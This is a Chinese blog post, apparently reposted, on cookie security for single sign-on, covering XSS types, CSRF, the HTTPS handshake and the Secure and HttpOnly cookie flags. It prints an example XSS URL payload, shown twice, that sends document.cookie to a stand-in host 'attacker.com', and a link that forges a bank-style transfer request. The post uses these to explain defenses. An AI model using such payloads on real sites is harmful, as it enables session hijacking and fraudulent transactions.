繼續(xù)介紹「單點登錄與權(quán)限管理」系列的第一部分：單點登錄與權(quán)限管理本質(zhì)，前一篇文章介紹了單點登錄概念，以CAS協(xié)議的基本流程為例講解了系統(tǒng)間的交互過程，過程中，cookie的設置和傳輸涉及的比較多，如何保證cookie的安全性，是這篇文章要介紹的。

安全相關(guān)的知識，了解的也有限，我閱讀了相關(guān)的文章，按照自己的思路、理解，進行了梳理和總結(jié)。

如果把安全問題按照發(fā)生區(qū)域來劃分的話，所有發(fā)生在后端服務器的安全問題稱為「后端安全問題」，比如SQL注入；所有發(fā)生在瀏覽器、web頁面中的安全問題稱為「前端安全問題」，比如XSS跨站腳本***，cookie相關(guān)的問題主要在前端。

首先會介紹下2個***，XSS可獲取用戶的cookie，CSRF可利用用戶的cookie偽造請求，然后介紹下HTTPS及它的重要性，最后說下跨域訪問cookie的限制，HTTP設置cookie時對cookie操作的控制。

XSS

XSS稱為跨站腳本***，全稱為Cross-Site Scripting，這類安全問題發(fā)生的本質(zhì)原因是瀏覽器將***者提供的用戶輸入數(shù)據(jù)當做JavaScript腳本執(zhí)行了。

XSS有不同的分類方法，按照惡意腳本是否在應用中存儲，可以劃分為「存儲型XSS」和「反射性XSS」；按照是否和服務端有交互，可以劃分為「Server Side XSS」和「DOM based XSS」。

反射型XSS

場景說明：一些系統(tǒng)，在用戶輸入或操作錯誤后，會跳轉(zhuǎn)到錯誤信息提示頁面，服務器根據(jù)傳入的message顯示不同的錯誤信息。

如果服務端不對message進行過濾，就會收到XSS***，比如請求URL：

https://support.kefu.mi.com?msg= <script> var i=new Image; i.src="http://attacker.com/"+document.cookie; </script>

頁面顯示

<input type="text" value="${msg}">

如果被***者通過訪問這個惡意的URL，就會把cookie發(fā)給***，***截獲cookie，就能執(zhí)行用戶的任意操縱。

保存型XSS

對于保存型XSS，腳本通常保存在后端數(shù)據(jù)庫中，不經(jīng)過濾就存儲并顯示給用戶。與反射型的流程不同的是，需要至少兩次請求，第一次將含有惡意代碼的數(shù)據(jù)提交給服務器，保存到數(shù)據(jù)庫，第二次是受害者訪問含有惡意代碼的頁面，惡意代碼執(zhí)行。

DOM based XSS

其實也是反射型的一種，因為也是通過url控制頁面的輸出，不同點只是輸出地點不同而導致結(jié)果不一致。

加入請求URL和反射XSS相同:

https://support.kefu.mi.com?msg= <script> var i=new Image; i.src="http://attacker.com/"+document.cookie; </script>

顯示頁面如下：

<input id="msg" type="text" value="${msg}" /> <div id="show"></div> <script type="text/javascript"> var msg = document.getElementById("msg"); var show = document.getElementById("show"); show.innerHTML = msg.value; </script>

防御XSS最佳的做法是對數(shù)據(jù)進行嚴格的輸出編碼，使得***者提供的數(shù)據(jù)不再被瀏覽器認為是腳本而被誤執(zhí)行。

CSRF

CSRF稱為跨站請求偽造，全稱是Cross Site Request Forgery，它可以在受害者毫不知情的情況下，以受害者的名義偽造請求發(fā)送給受***站點。

場景說明：小米金融網(wǎng)站A，有一個如下的轉(zhuǎn)賬接口

http://jr.mi.com/transfer?to=dongqingqing&money=1000000000000

***H有一個網(wǎng)站B，在網(wǎng)站中放入如下代碼，通過廣告誘使受害者點擊。如果受害者之前登錄過網(wǎng)站A，且session還未過期，就會在受害者不知情的情況下，成功轉(zhuǎn)賬給***。

<a href='http://jr.mi.com/transfer?to=dongqingqing&money=1000000000000'></a>

可以通過驗證HTTP Referer字段、在請求地址中添加token并驗證、在HTTP頭中自定義屬性并驗證等方法進行解決；

HTTPS

建議所有對外網(wǎng)開放的站點都通過HTTPS，它是在HTTP協(xié)議的基礎上，加入了SSL層，對數(shù)據(jù)進行加密處理。

通過HTTPS協(xié)議，cookie在傳輸?shù)倪^程中，即使被別人劫持到請求，也不知道實際的cookie是什么，無法偽造其他的請求。

HTTPS相關(guān)的介紹在網(wǎng)上很多，這里描述下交互過程：

瀏覽器將自己支持的一套加密規(guī)則發(fā)送給網(wǎng)站；

網(wǎng)站從中選出一組加密算法與HASH算法，并將自己的身份信息以證書的形式發(fā)回給瀏覽器；（證書里面包含了網(wǎng)站地址，加密公鑰，以及證書的頒發(fā)機構(gòu)等信息）

瀏覽器獲得網(wǎng)站證書之后，要做以下工作：

• 驗證證書的合法性（驗證頒發(fā)證書的機構(gòu)是否合法，證書中包含的網(wǎng)站地址是否與正在訪問的地址一致等），如果驗證不通過，會給出證書不受信的提示；
• 如果證書受信任，或者是用戶接受了不受信的證書，瀏覽器會生成一串隨機數(shù)的密碼，并用證書中提供的公鑰加密；
• 使用約定好的HASH計算握手消息，并使用生成的隨機數(shù)對消息進行加密，最后將之前生成的所有信息發(fā)送給網(wǎng)站；

網(wǎng)站接收瀏覽器發(fā)來的數(shù)據(jù)之后要做以下的操作：

• 使用自己的私鑰將信息解密取出隨機數(shù)密碼，使用密碼解密瀏覽器發(fā)來的握手消息，并驗證HASH是否與瀏覽器發(fā)來的一致；
• 使用隨機數(shù)密碼加密一段握手消息，發(fā)送給瀏覽器；

瀏覽器解密并計算握手消息的HASH，如果與服務端發(fā)來的HASH一致，此時握手過程結(jié)束，之后所有的通信數(shù)據(jù)將由之前瀏覽器生成的隨機密碼并利用對稱加密算法進行加密；

總結(jié)下：

• 握手階段，通過非對稱加密算法對傳輸?shù)臄?shù)據(jù)進行加解密，約定隨機數(shù)的密碼、加密算法、Hash算法；
• 正常傳輸數(shù)據(jù)時，因為非對稱加密比較耗時，使用隨機數(shù)的密碼進行加解密，隨機數(shù)密碼在瀏覽器端生成，通過非對稱加密傳輸給網(wǎng)站，所以不會泄露；
• 為了防止數(shù)據(jù)被篡改，通過Hash算法進行校驗；

Cookie訪問控制

cookie如此重要，在瀏覽器端，如果一個網(wǎng)站可以訪問其他網(wǎng)站的cookie，肯定不行的，所以瀏覽器是不允許跨域訪問cookie的，提高了Cookie的安全性。

在前面的文章 session和cookie介紹 中，已經(jīng)介紹了cookie的作用域，主要是說一級域名相同情況下如何共享使用cookie。

如果想實現(xiàn)跨域訪問，可以通過JSONP、CORS的方法實現(xiàn)。

另外，HTTP設置cookie時，提供了2個屬性，可以增強cookie的安全性，分別是secure屬性和httpOnly屬性。

secure屬性可防止信息在傳遞的過程中被監(jiān)聽捕獲后導致信息泄露，如果設置為true，可以限制只有通過https訪問時，才會將瀏覽器保存的cookie傳遞到服務端，如果通過http訪問，不會傳遞cookie。

httpOnly屬性可以防止程序獲取cookie，如果設置為true，通過js等將無法讀取到cookie，能有效的防止XSS***。

通過本篇文章的介紹，為了保障cookie的安全性，應要求通過HTTPS進行訪問，在編寫代碼時充分考慮，盡量避免XSS、CSRF等cookie相關(guān)的***方法。同時，瀏覽器和HTTP本身也對cookie的訪問控制進行了考慮。

轉(zhuǎn)載于:https://blog.51cto.com/13714880/2107078

總結(jié)

以上是生活随笔為你收集整理的单点登录与权限管理本质：cookie安全问题的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。